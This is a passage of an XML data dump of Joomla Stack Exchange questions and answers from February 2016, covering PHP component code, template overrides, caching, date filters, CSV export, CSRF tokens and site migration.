&lt;code&gt;$item-&amp;gt;slug&lt;/code&gt; in each loop iteration (is not part of the &lt;code&gt;contact_details&lt;/code&gt; table):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $item-&amp;gt;slug=$item-&amp;gt;id .':'. $item-&amp;gt;alias; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7800" LastActivityDate="2016-02-17T11:11:04.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15311" PostTypeId="2" ParentId="7096" CreationDate="2016-02-17T11:14:35.213" Score="0" Body="&lt;p&gt;I've recently wanted to achieve exactly the same thing: provide different homepage for logged in users&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The earlier plugin didn't get good reviews so I tried &lt;a href=&quot;http://extensions.joomla.org/extension/custom-member-homepage&quot; rel=&quot;nofollow&quot;&gt;Custom Member Homepage&lt;/a&gt; plugin. Works really well.&lt;/p&gt;&#xA;" OwnerUserId="7325" LastActivityDate="2016-02-17T11:14:35.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15312" PostTypeId="2" ParentId="15305" CreationDate="2016-02-17T11:27:28.273" Score="1" Body="&lt;p&gt;Hello @AndySmith and welcome to JSE.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After being in her 4th generation, Joomla is just mature enough not to make such weird errors on her own. That being said I am almost certain that some  extension is causing this problem of &quot;Double language code in URL with SEF giving 404s&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the matter of fact, I've had similar problems few years back with J2.5, which turned out to be caused by 'Nice Ajax Poll module'. I have shared that at Joomla forum in topic &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=617&amp;amp;t=618807&amp;amp;start=30&quot; rel=&quot;nofollow&quot;&gt;Double language code in URL - SEF gives 404&lt;/a&gt;, and it turned out there were other extensions responsible for similar problems (ChronoForms, Extrawatch, etc...). I know I should list excerpt from this post in case the link goes down, but it's just not possible in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obviously have no exact answer to your problem, just 'opening your eyes' to the possibility that some extension you have (either component, module or plugin) might have caused this. You will have to test it by disabling them one by one. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-02-17T13:41:31.817" LastActivityDate="2016-02-17T13:41:31.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15314" PostTypeId="2" ParentId="15308" CreationDate="2016-02-17T15:20:47.920" Score="3" Body="&lt;p&gt;As you mentioned you are using gantry powered theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In gantry powered theme the main navigation menu may belong to navigation section under gantry template and not from menu module in this case menu assignment under your module won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;go to joomla template manager duplicate your template and open the&#xA;new (duplicate) template. &lt;/li&gt;&#xA;&lt;li&gt;List item Click on settings tab and disabled the menu. &lt;/li&gt;&#xA;&lt;li&gt;Now go to assignment tab and assign this template to those menu items you don't want with main navigation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7787" LastActivityDate="2016-02-17T15:20:47.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15315" PostTypeId="2" ParentId="15240" CreationDate="2016-02-17T15:55:28.117" Score="1" Body="&lt;p&gt;Following Terry idea, I finally got it! The idea is to use display:inline-block for both &lt;code&gt;ul.nav&lt;/code&gt; and &lt;code&gt;a.syndicate-module&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; also to give a width to &lt;code&gt;ul-nav&lt;/code&gt;.&lt;br&gt;&#xA;The menu can then have as many lines as he wants, the RSS icon will be displayed on its right.&lt;br&gt;&#xA;So:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ul.nav{&#xA;     display: inline-block;&#xA;     width: 50%; /*to have a menu with many lines, 98% is the right value*/&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a.syndicate-module{&#xA;    float:right;&#xA;    vertical-align:top;&#xA;    display: inline-block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xYl64.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYl64.png&quot; alt=&quot;The menu with many lines and the RRS icon on the right&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks Terry, could not have found this without your help !&lt;/p&gt;&#xA;" OwnerUserId="5691" LastEditorUserId="5691" LastEditDate="2016-02-17T19:24:31.313" LastActivityDate="2016-02-17T19:24:31.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15316" PostTypeId="2" ParentId="15274" CreationDate="2016-02-17T17:22:35.157" Score="2" Body="&lt;p&gt;I was able to accomplish this using the following code (in abbreviated form):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $user = JFactory::getUser(); ?&amp;gt;&#xA;&amp;lt;?php if(!$user-&amp;gt;guest): ?&amp;gt;&#xA;&amp;lt;!-- Prices --&amp;gt;&#xA;&amp;lt;div class=&quot;moduletable&quot;&amp;gt;&#xA;&amp;lt;h3 class=&quot;specs&quot;&amp;gt;Pricing&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php&#xA;  $none = true; &#xA;  foreach ($this-&amp;gt;item-&amp;gt;extra_fields as $key=&amp;gt;$extraField) {&#xA;    if($extraField-&amp;gt;value &amp;amp;&amp;amp; $extraField-&amp;gt;name=='Price A' &amp;amp;&amp;amp; in_array(25,$user-&amp;gt;groups)) {&#xA;      echo $extraField-&amp;gt;value;&#xA;      $none = false;&#xA;      break;&#xA;    }&#xA;    elseif($extraField-&amp;gt;value &amp;amp;&amp;amp; $extraField-&amp;gt;name=='Price B' &amp;amp;&amp;amp; in_array(26,$user-&amp;gt;groups)) {&#xA;      echo $extraField-&amp;gt;value;&#xA;      $none = false;&#xA;      break;&#xA;    }&#xA;  }&#xA;  if ($none) echo '&amp;lt;br/&amp;gt;&amp;lt;p&amp;gt;Coming Soon!&amp;lt;/p&amp;gt;';&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I check to see if the user is logged in, then run through the extra fields to see if the field name is &quot;Price A&quot; and the user is in the user group &quot;Price A&quot; (ID=25). If it matches, I output the price and move on. If not, it does the same check for &quot;Price B.&quot; If an extra field for price isn't assigned or the user doesn't have a price level, I give a encouraging message! ;)&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-02-17T17:22:35.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15318" PostTypeId="2" ParentId="15301" CreationDate="2016-02-17T19:12:07.787" Score="3" Body="&lt;p&gt;As far as I know what you want isn't possible.&#xA;The /en/ is needed so Joomla knows that you want to change the language. Because with www.example.com/company/contact.html Joomla would look in your language cookie and redirect to the currently active language.&#xA;So for changing languages, you need to explicitely tell Joomla that you want to switch to english. Once english is active, the links should be without /en/.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2016-02-17T19:12:07.787" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15319" PostTypeId="1" CreationDate="2016-02-17T19:54:04.720" Score="0" ViewCount="1710" Body="&lt;p&gt;I would like to improve my filter in my custom joomla-component. I would like to create a filter that shows all items which have been created between 2 dates (MySQL-Table: &lt;code&gt;creationdate&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I'm using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a xml-defined filter-set to create a search-form and a category-based filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to solve my problem? Or maybe somebody knows a component which filters for dates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I read in the component creator's source files I could so something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name = &quot;creationdate_from&quot; &#xA;type = &quot;calendar&quot; &#xA;label = &quot;test&quot; &#xA;format = &quot;%d.%m.%Y&quot; &#xA;filter = &quot;user_utc&quot; &#xA;onchange = &quot;this.form.submit();&quot;/&amp;gt;&#xA;&amp;lt;field name = &quot;creationdate_to&quot; &#xA;type = &quot;calendar&quot; &#xA;label = &quot;Test&quot; &#xA;format = &quot;%d.%m.%Y&quot; &#xA;filter = &quot;user_utc&quot; &#xA;onchange = &quot;this.form.submit();&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally I would have to change the &lt;code&gt;populateState-method&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* populateState function.&#xA;* &#xA;* @access protected&#xA;* @param mixed $ordering (default: null)&#xA;* @param mixed $direction (default: null)&#xA;* @return void&#xA;*/&#xA;protected function populateState($ordering = null, $direction = null) &#xA;{&#xA;...&#xA;$creationdatefrom = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.creationdate_from', 'filter_creationdate_from', '');&#xA;$this-&amp;gt;setState('filter.creationdate_from', $creationdatefrom); &#xA;&#xA;$creationdateto = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.creationdate_to', 'filter_creationdate_to', '');&#xA;$this-&amp;gt;setState('filter.creationdate_to', $creationdateto); &#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and extend the query itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Filter by date &#xA;$fromdate = $this-&amp;gt;getState('filter.creationdate_from');&#xA;$todate = $this-&amp;gt;getState('filter.creationdate_to');&#xA;&#xA;if(!empty($fromdate))&#xA;{&#xA;$fromdate = $db-&amp;gt;Quote($db-&amp;gt;escape($fromdate, true)); &#xA;$query-&amp;gt;where('(DATE_FORMAT(a.creationdate, &quot;%d.%m.%Y&quot;) &amp;gt;= ' . $fromdate . ')'); &#xA;}&#xA;&#xA;if(!empty($todate))&#xA;{&#xA;$todate = $db-&amp;gt;Quote($db-&amp;gt;escape($todate, true)); &#xA;$query-&amp;gt;where('(DATE_FORMAT(a.creationdate, &quot;%d.%m.%Y&quot;) &amp;lt;= ' . $todate . ')'); &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine - but there are 2 problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First problem:&lt;/strong&gt; If I choose a date, the page reloads (of course) and after that the searchbar is not extended as it would be if I filter by state. The &quot;reset&quot;-button does not clear the values from calendar-fields aswell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TEk16.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TEk16.png&quot; alt=&quot;Search bar&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second problem:&lt;/strong&gt; If I enter some strange stuff, e.g. &quot;;&quot; or &quot;/&quot; into the date field, this input is not filtered and results in a crash:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uZ7E8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uZ7E8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="4028" LastEditDate="2016-02-18T13:22:39.023" LastActivityDate="2018-12-16T09:33:37.280" Title="Joomla: Filter items (show items between 2 dates)" Tags="|php|custom-component|content-filtering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15320" PostTypeId="2" ParentId="15319" CreationDate="2016-02-17T22:16:32.850" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.component-creator.com/en/&quot; rel=&quot;nofollow&quot;&gt;Component-creator&lt;/a&gt; has filters for dates, this might be just the thing for you. Make a component, add a table, then add a date field to the table. Check the Add a filter for this field - checkbox to display a date filter. The filter is not very sophisticated, consisting of two calendar-selectors, but it works good enough. I made a simple demo to test it worked like I remembered it. Below is the generated xml for the filter for my demo event-table: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fields name=&quot;filter&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;search&quot; type=&quot;text&quot;&#xA;      hint=&quot;COM_DATEFILTER_SEARCH_FILTER_SUBMIT&quot;&#xA;      label=&quot;COM_USERS_FILTER_SEARCH_DESC&quot;&#xA;      class=&quot;js-stools-search-string&quot; /&amp;gt;&#xA;    &amp;lt;!-- Keep &quot;_dateformat&quot; suffix for date validation on form submit --&amp;gt;&#xA;    &amp;lt;field name=&quot;eventdate_from_dateformat&quot; type=&quot;calendar&quot; label=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;!-- Keep &quot;_dateformat&quot; suffix for date validation on form submit --&amp;gt;&#xA;    &amp;lt;field name=&quot;eventdate_to_dateformat&quot; type=&quot;calendar&quot; label=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;field value=&quot;Submit&quot; type=&quot;submit&quot; for=&quot;eventdate&quot; &#xA;      onclick=&quot;this.form.submit();&quot; /&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can probably make a component yourself and just cherry-pick the code you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using component-creator a lot (I'm not associated with it in any way), and I like it a lot. Unfortunately the free version is very limited (but will do what I did above, I think), and the pro version is quite expensive... :(&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2016-02-17T22:16:32.850" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15321" PostTypeId="1" CreationDate="2016-02-18T04:59:26.140" Score="0" ViewCount="280" Body="&lt;p&gt;I have created custom template override for &lt;code&gt;mod_articles_categories&lt;/code&gt;,and it works fine.&#xA;I also need to create an override for the view ,when we choose a category from the list. &#xA;is it possible?&#xA;now the link seems like &lt;code&gt;index.php?option=com_content&amp;amp;view=category&amp;amp;id=19&amp;amp;Itemid=168&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7813" LastActivityDate="2016-02-18T09:15:26.820" Title="Create custom override for list from mod_articles_categories" Tags="|module|overrides|mod-articles-category|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15322" PostTypeId="1" CreationDate="2016-02-18T05:56:05.763" Score="1" ViewCount="86" Body="&lt;p&gt;The wonderful image slider extension DJ Image Slider is not available for download, as I tried yesterday and today. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have installed the same on one of my websites, so I used filezilla to upload files and directories under com-djimageslider component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand in order to install to another website, I cannot proceed through Extension Package File route (Upload Package File).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing? &lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="126" LastEditDate="2016-02-18T14:41:46.620" LastActivityDate="2016-02-18T14:41:46.620" Title="Installing an extension by having only the files and folders of it (no zip archive installation file)" Tags="|extensions|installation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15323" PostTypeId="2" ParentId="15322" CreationDate="2016-02-18T07:02:02.980" Score="6" Body="&lt;p&gt;If I understand right your question, you are after the &lt;strong&gt;Discover Feature&lt;/strong&gt; in the &lt;strong&gt;Extensions Manager&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;First, make sure you have copied all the required files of an extension to their proper directories -wherever those may exist: administrator site, media, languages and so on-, otherwise you will encounter issues using this extension later on.&lt;/p&gt;&#xA;&lt;p&gt;Then, go to the &lt;strong&gt;Extensions -&amp;gt; Discover&lt;/strong&gt; (from left menu) - click the &lt;strong&gt;Discover button&lt;/strong&gt;. It will list all extensions that may exist in the Joomla folder structure that have not been installed. You can select the one that you want to install and install it from there.&lt;/p&gt;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&lt;p&gt;Well, you could upload the extension's files to the corresponding folders at the Joomla site you want to install it and then do the discover procedure.&lt;/p&gt;&#xA;&lt;p&gt;Otherwise, you could re-compile the extension into a &amp;quot;installation bundle&amp;quot; in zip format and install it as usual. You can read its xml file to see its original files/folders structure, in order to organize the files accordingly, prior to compressing them.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-02-18T13:55:36.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15324" PostTypeId="2" ParentId="15321" CreationDate="2016-02-18T09:15:26.820" Score="1" Body="&lt;p&gt;You have to overwrite com_content's category view. Your overwrite would be located here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/templates/&amp;lt;your_template&amp;gt;/html/com_content/category/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-02-18T09:15:26.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15325" PostTypeId="1" CreationDate="2016-02-18T09:22:41.257" Score="1" ViewCount="1095" Body="&lt;p&gt;I have a site using RocketTheme free template, and it`s using Gantry framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Ι need to add a page with some PHP code, so using &lt;strong&gt;Sourcerer&lt;/strong&gt; I made a simple page using com_content and including my .php file there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that Joomla caches content of my script. So I tried to disable Joomla cache, but that simple page loads so slow - thanks to RocketTheme and Gantry, with NO optimization. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to exclude caching of com_content component, but still cache header, footer and etc. I have installed JotCache, excluded com_component, excluded my page URL, but Gantry still caching it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any way to disable Gantry caching? Or better way, is there any way so add some magic string to my file to stop caching it?&lt;/p&gt;&#xA;" OwnerUserId="7817" LastEditorUserId="126" LastEditDate="2016-02-18T14:37:53.297" LastActivityDate="2016-02-18T23:09:42.930" Title="Disable Gantry caching" Tags="|cache|gantry|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15326" PostTypeId="2" ParentId="15325" CreationDate="2016-02-18T10:22:41.620" Score="1" Body="&lt;p&gt;In order to increase the performance the Gantry stores Cache. It also stores modules and other joomla content. When you save template details it will automatically flush your template cache.&lt;/p&gt;&#xA;" OwnerUserId="7787" LastEditorUserId="7787" LastEditDate="2016-02-18T13:43:30.923" LastActivityDate="2016-02-18T13:43:30.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15327" PostTypeId="2" ParentId="15302" CreationDate="2016-02-18T10:25:13.593" Score="6" Body="&lt;p&gt;I'd suggest not using the Framework. Its going to take you a long time to understand, as there is very little implementation orientated documents, there are few people using it so your chance of support is low etc.&#xA;Sometimes its worth investing time to understand a new technology. If that's your aim then pick a framework that is being actively developed and used by a lot of people - Laraval springs to mind as a good suggestion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you want is to create the site, then you could probably find a portfolio and contact component for joomla and have the site up in a day. Alternatively use a CCK (Fabrik (disclaimer I'm one of the dev's), Seblod, etc) which would allow you to create a porfolio page without having to code.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2016-02-18T10:25:13.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15328" PostTypeId="2" ParentId="15065" CreationDate="2016-02-18T17:19:54.703" Score="1" Body="&lt;p&gt;In Joomla, forms have a session token to prevent CSRF.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user's Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you submit information from Ajax, you must follow the rules to include the token in form POST, GET or Url. Otherwise, it will be rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow&quot;&gt;How to add CSRF anti-spoofing to forms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-02-18T17:19:54.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15330" PostTypeId="1" CreationDate="2016-02-18T18:18:34.413" Score="5" ViewCount="771" Body="&lt;p&gt;I would like to export all selected items from the items-view of my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so I modified my view and inserted a new button to the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolBarHelper::custom('items.exportcsv', 'download', '', 'COM_BESTIA_EXPORT', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also modified the controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * exportcsv function.&#xA; * &#xA; * @access public&#xA; * @return void&#xA; */&#xA;public function exportcsv()&#xA;{&#xA;&#xA;    $jinput                 =           JFactory::getApplication()-&amp;gt;input;&#xA;    $ids                    =           $jinput-&amp;gt;get('cid', '', 'array');&#xA;    $modelitems     =           $this-&amp;gt;getModel();&#xA;&#xA;    $array                  =           array();&#xA;&#xA;    foreach($ids as $id)&#xA;    {&#xA;        $item                           =   $modelitems-&amp;gt;getItem($id);      &#xA;        $array[$item-&amp;gt;id]['itemid'] =   $item-&amp;gt;itemid;&#xA;    }&#xA;&#xA;    $csv                                    =       ArrayHelper::exportArrayToCSV($array, &quot;items-report&quot;);&#xA;    $this-&amp;gt;setRedirect('index.php?option=bestia&amp;amp;view=items', false);        &#xA;&#xA;}       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I created a function in a helper function to create the download:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * exportArrayToCSV function.&#xA; * &#xA; * @access public&#xA; * @static&#xA; * @param mixed $array&#xA; * @return void&#xA; */&#xA;public static function exportArrayToCSV($array, $filename, $delimiter=&quot;;&quot;)&#xA;{&#xA;    $config                         =   JFactory::getConfig();&#xA;    $tmppath                        =   $config-&amp;gt;get('tmp_path');&#xA;&#xA;    $keys                           =   array_keys($array);&#xA;&#xA;    if(is_dir($tmppath))&#xA;    {&#xA;        $filename                   =   &quot;$filename.csv&quot;;&#xA;        $filepath                   =   &quot;$tmppath/$filename&quot;;&#xA;        $file                       =   new SplFileObject($filepath, 'w');&#xA;&#xA;        $file-&amp;gt;fputcsv(array_keys($array[$keys[0]]),$delimiter);&#xA;&#xA;        foreach ($array as $fields) &#xA;        {&#xA;            $file-&amp;gt;fputcsv($fields,$delimiter);&#xA;        }&#xA;&#xA;        if(file_exists($filepath))&#xA;        {   &#xA;            header ( 'Content-Description: File Transfer' );&#xA;            header ( 'Content-Type: application/force-download' );&#xA;            header ( 'Content-Type: application/octet-stream' );&#xA;            header ( 'Content-Disposition: attachment; filename=' . $filename ); &#xA;            header ( 'Expires: 0' );&#xA;            header ( 'Cache-Control: must-revalidate' );&#xA;            header ( 'Pragma: public' );&#xA;            header ( 'Content-Length: ' . filesize ($filepath) );&#xA;            ob_clean(); &#xA;            flush();&#xA;                readfile ($filepath);&#xA;                unlink($filepath); &#xA;            exit();&#xA;        }&#xA;        else                            return false;   &#xA;    }&#xA;    else                                return false;       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am facing a strange behaviour: If I download a CSV and change the filter after downloading in the search bar like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NoHzX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NoHzX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is downloaded again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem is somewhere around here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            ob_clean(); &#xA;            flush();&#xA;                readfile ($filepath);&#xA;                unlink($filepath); &#xA;            exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I do not know how to solve it.&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="3956" LastEditDate="2018-11-10T18:22:53.457" LastActivityDate="2023-08-03T07:37:07.533" Title="Custom component: Export items to CSV -&gt; Changing searchbar causes a new download" Tags="|custom-component|controller|content-filtering|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="15331" PostTypeId="2" ParentId="14380" CreationDate="2016-02-18T18:31:47.477" Score="1" Body="&lt;p&gt;You can enter Joomla user manually using phpMyAdmin enter username, email and password (password should be md5 encrypted) and also activation field must be set to 1.&#xA;Then you will need to map the user to user group in table #__user_group_map. For super administrator access group_id should be 8 which is super user group id.&#xA;That's it now you will be able to login with username and password you have just created.&lt;/p&gt;&#xA;" OwnerUserId="7787" LastActivityDate="2016-02-18T18:31:47.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15334" PostTypeId="2" ParentId="15325" CreationDate="2016-02-18T23:03:09.510" Score="1" Body="&lt;p&gt;Gantry 4 cache can't be disabled as it's used to store compiled LESS and CSS files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the Gantry 5 cache may be similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-02-18T23:09:42.930" LastActivityDate="2016-02-18T23:09:42.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15335" PostTypeId="2" ParentId="15282" CreationDate="2016-02-19T05:12:06.697" Score="3" Body="&lt;p&gt;As per the recommendations, I posted the question in the official forum of CMigrator and thankfully I got the solution to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following are the steps which were followed by me: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Took the backup of the website&lt;/li&gt;&#xA;&lt;li&gt;Exported the new updated wordpress tables in joomla database&lt;/li&gt;&#xA;&lt;li&gt;Open CMigrator component &gt; configuration wizard &gt; select &lt;code&gt;no&lt;/code&gt; for &lt;code&gt;clean migration&lt;/code&gt; option. By doing so, the old articles are not deleted. &lt;/li&gt;&#xA;&lt;li&gt;All the new categories and articles which already existed in my website were now named as &lt;code&gt;title cmigrator copy1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;This helped me in differentiating the new articles from the existed ones&lt;/li&gt;&#xA;&lt;li&gt;Manually deleted all the &lt;code&gt;cmigrator copy&lt;/code&gt; articles and categories.&lt;/li&gt;&#xA;&lt;li&gt;Manually moved the new articles to the old categories.&lt;/li&gt;&#xA;&lt;li&gt;My website now has all the updated articles from the Wordpress site. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For more details refer here:&lt;/strong&gt; &lt;a href=&quot;https://compojoom.com/forum/pre-sales-questions/21209-partial-migration-from-wordpress&quot;&gt;https://compojoom.com/forum/pre-sales-questions/21209-partial-migration-from-wordpress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though this process was a little time taking but was worth it.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-02-19T05:12:06.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
